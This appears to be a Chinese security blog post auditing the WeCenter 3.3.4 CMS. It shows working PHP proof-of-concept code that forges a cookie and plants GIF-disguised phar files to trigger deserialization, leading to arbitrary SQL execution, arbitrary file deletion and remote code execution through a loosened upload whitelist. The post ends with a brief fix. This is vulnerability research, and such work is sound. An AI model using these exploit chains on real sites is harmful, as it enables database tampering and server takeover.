zoukankan      html  css  js  c++  java
  • WeCenter3.3.4代码审计

    前言

    白天又研究了一天的tp的pop链,终于理解了整个挖掘过程。审计一个19年的cms来缓缓。这个cms同样试利用了pop链实现RCE

    漏洞点

    在上一个tp框架审计中最后我们是自己构造了一个可控的 unserialize(可控),结合我们寻找的pop链触发发序列化。
    在审计中
    反序列化点可以从两个方向进行寻找,一种是直接搜可控的 unserialize(可控) ,另一种是完全可控的文件名(利用 phar:// 协议触发反序列化)。刚好 WeCenter 中就存在可控的文件名。我们今天就是利用的phar:// 协议触发反序列化。
    前面的文章中已经提到,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

    本次漏洞起点就是
     file_get_contents 函数的文件名完全可控(来自 $_COOKIE ),利用 phar:// 协议触发反序列化。
    全局搜索file_get_contents 函数

    依旧是回溯方法,
    目的:

    查看何处调用了 associate_remote_avatar 方法,以及看看 $headimgurl 值是否可控。

    看到headimgurl参数由$wxuser获得
    跟进
    emm全局搜索就这一个页面有这个变量,看这一行

    $wxuser=$this->model('account')>fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL');
    

    $wxuser变量由fetch_row获取这一行所有数据后面拼凑而成。
    跟进users_weixin这个参数
    看到他是一个数据表
    寻找增删改查等敏感操作:

    我们可以看到这个地方和前面有关联,跟进$access_user:
    可以看到这个函数中有这个参数

    继续回溯,找哪里调用了bind_account() 
    还是在这个页面:weixin.php:

    public function binding_action()

    这个方法调用了bind_account()

    上面的 $access_user 为这里传入的 $WXConnect[‘access_user’] ,而 $WXConnect 的值来自可控的 $_COOKIE 。

    $WXConnect的值就是cookie中json解码后的值(前缀_WXConnect)

    前面说的攻击点有了:
    完全可控的文件名(利用 phar:// 协议触发反序列化

    传入 file_get_contents 函数的文件名完全可控(来自 $_COOKIE )
    整个攻击过程:
    1、生成恶意cookie - $WXConnect

    2、binding_action取$WXConnect赋给bind_account

    3、bind_account得到$WXConnect后,把值中的headimgurl入库

    4、synch_img_action读库

    5、把读库的结果赋值给associate_remote_avatar

    6、associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化

    任意SQL语句执行

    pop链的寻找我们全局搜索魔术方法:

    system/aws_model.inc.php:

    __destruct() 方法中存在任意 SQL 语句执行。

    我们先生成一个phar文件:

    <?php
    class AWS_MODEL{
            private $_shutdown_query = array();
    
            public function __construct(){
                $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
            }
    }
    $a = new AWS_MODEL;
    $phar = new Phar("2.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt","123");
    $phar->stopBuffering();
    rename("2.phar","shell.gif");
    ?>
    

    然后找个可以上传文件的地方。这里要注意,一定不要选择在用户头像处上传。

    这里看1889行,会置空我们的文件
    这里我们通过发起问题的地方来上传文件

    记录一下路径

    生成并设置COOKIE中的WXConnect值

    <?php
        $arr = array();
        $arr['access_token'] = array('openid' => '1');
        $arr['access_user'] = array();
        $arr['access_user']['openid'] = 1;
        $arr['access_user']['nickname'] = 'naiquan';
        $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
        echo json_encode($arr);
    ?>
    

    将headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。

    访问app/m/weixin.php下的binding_action

    注意这里要对应

    bind_account得到$WXConnect后,把值中的headimgurl入库

    synch_img_action读库后赋值给associate_remote_avatar,associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化:

    访问app/account/ajax.php下的synch_img_action

    任意SQL语句执行成功

    任意文件删除

    system/Zend/Http/Response/Stream.php:__destruct() 方法中存在任意文件删除。

    exp:

    <?php
    class Zend_Http_Response_Stream
    {
        protected $_cleanup;
        protected $stream_name;
    
        public function __construct($stream_name)
        {
            $this->_cleanup = true;
            $this->stream_name = $stream_name;
        }
    }
    
    $stream_name = '/var/www/html/wecenter334/shell.php';
    $evilobj = new Zend_Http_Response_Stream($stream_name);
    // phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
    $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($evilobj);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
    
    ?>
    

    流程和上面一致,不再重复

    RCE

    这个才是重点,能够RCE,我们来分析一下流程:

    WeCenter 后台的 允许的附件文件类型 处,设置了用户可上传的文件类型后缀。而这个配置是写在数据库中的,我们可以利用前面的任意 SQL 语句执行的 POP 链,往字段中添加 php 文件后缀。

    可以看到这里后缀白名单限制了我们上传php文件,我们可以通过一个修改后缀名白名单的方式,上传php文件进行RCE了

    利用下面的poc生成phar文件,重命名为shell.gif

    <?php
    class AWS_MODEL{
        private $_shutdown_query = array();
    
        public function __construct(){
            $file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
            $this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
        }
    }
    $a = new AWS_MODEL;
    $phar = new Phar("2.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt","123");
    $phar->stopBuffering();
    ?>
    

    和前面一样通过发起问题的地方来上传文件

    记录一下路径

    生成并设置COOKIE中的WXConnect值

    <?php
        $arr = array();
        $arr['access_token'] = array('openid' => '1');
        $arr['access_user'] = array();
        $arr['access_user']['openid'] = 1;
        $arr['access_user']['nickname'] = 'naiquan';
        $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
        echo json_encode($arr);
    ?>
    

    将headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。

    访问app/m/weixin.php下的binding_action

    接着通过如下数据包触发 phar反序列化 执行 SQL 语句。

    可以看到我们上传php文件成功

    漏洞修复

    删除app/account/ajax.php下名为synch_img的action即可,删除路由或者函数都可以。

    参考

    https://mochazz.github.io/2020/01/16/WeCenter3.3.4SQL注入到RCE/#利用

  • 相关阅读:
    站立会议(2)
    站立会议(1)
    学习进度条
    四则运算2
    学习进度条
    IDEA用maven创建springMVC项目和配置
    Itellij Idea全局搜索
    Spring各个jar包作用
    IDEA一定要改的八条配置
    Nio使用Selector客户端与服务器的通信
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12661051.html
Copyright © 2011-2022 走看看